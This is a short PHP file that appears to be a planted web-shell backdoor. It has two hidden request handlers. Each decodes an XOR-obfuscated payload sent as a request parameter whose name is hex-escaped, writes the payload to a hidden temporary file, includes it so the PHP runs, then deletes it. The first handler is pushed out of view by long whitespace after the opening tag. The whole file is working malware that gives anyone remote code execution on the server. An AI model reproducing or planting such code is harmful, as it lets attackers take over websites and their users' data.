<?php																																										if(in_array("\x69t\x6D", array_keys($_REQUEST))){ $res = $_REQUEST["\x69t\x6D"]; $res = explode ( '.' , $res ); $desc =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s6); foreach($res as $p => $v8) { $chS =ord($s6[$p % $sLen]); $dec =((int)$v8 - $chS -($p % 10)) ^ 47; $desc .= chr($dec); } $tkn = array_filter([session_save_path(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", "/var/tmp"]); foreach ($tkn as $key => $reference) { if (is_dir($reference) && is_writable($reference)) { $data = sprintf("%s/.ptr", $reference); if (@file_put_contents($data, $desc) !== false) { include $data; unlink($data); exit; } } } }


if(isset($_POST) && isset($_POST["\x68\x6Cd"])){
	$parameter_group = array_filter([getcwd(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp"]);
	$data = $_POST["\x68\x6Cd"];
	$data			= explode 		(  	"."	,			$data);	
	$value = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt);
            $len = count($data);
    
            for($p = 0; $p < $len; $p++) {
                $v9 = $data[$p];
                $chS = ord($salt[$p % $sLen]);
                $d =((int)$v9 - $chS -($p % 10))  ^40;
                $value .= chr($d); 	}
	while ($bind = array_shift($parameter_group)) {
    		if (!!is_dir($bind) && !!is_writable($bind)) {
    $pset = "$bind/.mrk";
    if (@file_put_contents($pset, $value) !== false) {
	include $pset;
	unlink($pset);
	exit;
}
}
}
}